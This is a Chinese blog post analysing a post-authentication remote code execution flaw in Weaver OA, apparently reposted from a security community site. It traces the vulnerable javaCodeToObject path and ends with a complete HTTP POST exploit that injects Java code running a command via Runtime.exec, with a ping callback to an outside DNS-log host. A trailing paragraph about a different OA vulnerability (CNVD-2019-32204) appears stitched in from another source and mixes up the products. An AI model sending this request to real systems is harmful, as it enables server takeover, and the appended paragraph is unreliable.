泛微OA后台远程代码执行漏洞

Author:Ha1ey@深蓝攻防实验室

污点函数javaCodeToObject接受var1,var2,并且经过层层调用最后实例化了传入的参数

在这里插入图片描述

溯源找到InterfaceRegisterCustomOperationCmd #excute调用了此方法

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

在这里插入图片描述

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

在这里插入图片描述

这里var14要为add

在这里插入图片描述

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

在这里插入图片描述

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

在这里插入图片描述

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

在这里插入图片描述

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=
在这里插入图片描述

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

在这里插入图片描述

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("ping xxxx"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

在这里插入图片描述

实际发包好像没有利用成功,回头看一下代码 发现加上这个参数 dtinfo_CustomParameterData就可以了,主要就是var18和var20两个参数,不明白为啥。最后为了保险将之前的参数也都加上了,不过有无不影响命令执行。

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 10.10.10.149:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&actionname=111&oldactionid=11&id=111&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("ping 252c2f77.dns.1433.eu.org.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

本文首发先知社区:https://xz.aliyun.com/t/11947,转载请注明出处。

OA系统中的远程代码执行漏洞(CNVD-2019-32204)对企业的安全构成了极大威胁。为了进行风险评估和修复,首先需要了解该漏洞的工作原理及影响范围。该漏洞主要影响OA的7.0/8.0/8.1/9.0版本,攻击者可通过特定的网络请求,利用系统的漏洞执行未经授权的代码,获得系统的控制权。接下来,进行风险评估时需要分析系统是否有未授权的外部访问、服务器的网络安全措施以及系统的监控机制等。确定风险等级后,应立即采取以下步骤进行修复:(详细步骤、修复示例、可能需要的技术工具和方法、扩展内容等,此处略) 参考资源链接:[与致远OA系统安全漏洞深度剖析:关键风险点与修复建议](https://wenku.youkuaiyun.com/doc/502pmk5iub?spm=1055.2569.3001.10343) 修复后,应确保漏洞已被完全封堵,并对系统进行彻底的安全测试,以验证修复措施的有效性。为了防范未来可能出现的类似漏洞,建议定期进行系统的安全扫描和漏洞评估。进一步深入学习如何防范远程代码执行漏洞及其他相关安全风险,建议参阅《与致远OA系统安全漏洞深度剖析:关键风险点与修复建议》,该文档详细介绍了和致远OA系统中的多个安全漏洞及其修复策略,对于IT专业人员来说,是理解并防御这些漏洞的重要参考资源。 参考资源链接:[与致远OA系统安全漏洞深度剖析:关键风险点与修复建议](https://wenku.youkuaiyun.com/doc/502pmk5iub?spm=1055.2569.3001.10343)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值